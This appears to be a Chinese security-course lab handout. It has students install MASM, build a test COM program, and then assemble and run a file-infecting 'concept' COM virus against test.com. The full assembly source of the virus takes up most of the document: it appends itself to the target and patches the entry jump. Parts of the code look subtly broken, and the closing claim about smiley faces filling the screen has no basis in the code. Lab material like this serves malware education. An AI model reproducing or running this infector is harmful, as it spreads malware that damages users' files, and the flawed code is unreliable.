编译生成com病毒,用com病毒对测试文件进行感染。
了解COM病毒的原理,掌握COM病毒的分析及其修改过程。
COM文件是一种单段执行结构的文件,其执行文件代码和执行时内存映像完全相同,起始执行偏移地址为100H,对应于文件的偏移00H(文件头)。
进入目录C:\tools\asm20125目录 双击“setup”运行MASM的安装程序 按安装提示点击“下一步”执行安装程序
进入如教材图7所示,点击“安装”,即可安装MASM 此时在桌面生成了MASM的快捷方式 MASM的运行界面
将代码窗口中的代码删除,并粘贴如下代码:
program segment
assume cs:program,ds:program,ss:program,es:program
org 0100h
MOV AX,SEG MESSAGE
MOV DS,AX
MOV DX,offset message
MOV AH,09h
INT 21h
MOV AH,4Ch
INT 21h
RET
message db "This a simple com program for a test",0dh,0ah,'$'
program ends
END
点击菜单栏的“保存”,将文件命名为test.asm并保存在名为test的文件夹中 点击运行,运行test.asm
test.asm的正常运行界面
点击新建,在新建工程的代码窗口中删除原有代码,并粘贴如下代码:
CSEG SEGMENT
ASSUME CS:CSEG,DS:CSEG,SS:CSEG,ES:CSEG
org 0100h
start:
NOP
NOP
NOP
NOP
CALL main
MOV AX,04c00h
INT 21h
RET
main PROC NEAR
mainstart:CALL vstart
vstart:
POP SI
MOV BP,SI
ADD SI,OFFSET yuan4byte-OFFSET vstart
MOV AX,0100H
MOV DI,AX
MOV AX,DS:[SI]
MOV AX,CS
MOV DS,AX
MOV DS:[DI],AX
INC SI
INC SI
INC DI
INC DI
MOV AX,DS:[SI]
MOV DS:[DI],AX
MOV SI,BP
MOV DX,OFFSET filename-OFFSET vstart
ADD DX,SI
MOV AL,02
MOV AH,3dh
INT 21h
JC error
MOV BX,AX
MOV DX,OFFSET yuan4byte-OFFSET vstart
ADD DX,SI
MOV CX,4
MOV AH,3Fh
INT 21h
MOV AX,04202h
XOR CX,CX
XOR DX,DX
INT 21h
MOV DI,OFFSET new4byte-OFFSET vstart
ADD DI,2
ADD DI,SI
SUB AX,4
MOV DS:[DI],AX
ADD SI,OFFSET mainstart-OFFSET vstart
MOV DX,SI
MOV CX,OFFSET vends-OFFSET mainstart
MOV AH,40h
INT 21h
MOV SI,BP
MOV AL,0
XOR CX,CX
XOR DX,DX
MOV AH,42h
INT 21h
MOV AH,40h
MOV CX,4
MOV DX,OFFSET new4byte-OFFSET vstart
ADD DX,SI
INT 21h
MOV AH,3Eh
INT 21h
MOV SI,BP
ADD SI,OFFSET sz_message-OFFSET vstart
MOV DX,SI
MOV AH,09h
INT 21h
JMP error
jmp MEND
DEC BP
error:
MOV CX,DS:WORD PTR[BP+OFFSET vflag-OFFSET vstart]
CMP CX,0
JE MEND
MOV AX,100h
PUSH AX
RET
MEND:
MOV DS:BYTE PTR [BP+OFFSET vflag-OFFSET vstart],1
MOV AX,100h
PUSH AX
RET
main ENDP
yuan4byte:RET
DB 3 DUP(?)
vflag DW 0
new4byte DB 'M','0e9h',0,0
filename DB "test.com",0
sz_message DB "You are infected by a concept com virus",0dh,0ah,'$'
vends:
CSEG ENDS
END
将代码保存为virus.asm,并通test.asm一样保存在test文件夹中,
点击使之运行,可出现如教材图17所示界面,并在test文件夹中生成了virus的可执行程序
双击virus.exe使之运行,在没有test.com文件的情况下 将test文件夹中的test.asm文件改名为test.com文件
运行virus.exe,如教材图21所示,则可发现病毒正感染test.com文件
打开MASM程序将界面代码删除,粘贴第一段DOS汇编语言代码,保存为test.asm并保存至test文件夹中,点击运行此程序,发现是窗口
按回车即可退出此程序。
接着将第一段代码删除,粘贴第二段代码,保存为virus.asm文件并保存到test文件夹中。
打开test文件夹,发现已经自动生成了virus的exe、lst、obj三种格式文件。
双击virus.exe文件使之运行,发现是空白窗口,将test.asm文件修改为test.com文件,再次运行virus.exe文件
弹出窗口: You are infected by a concept com virus 并且一直循环
这段话意思是: 你被一种概念com通讯病毒感染了 达到一定时间就开始全窗口出现😊表情
用到的工具MASM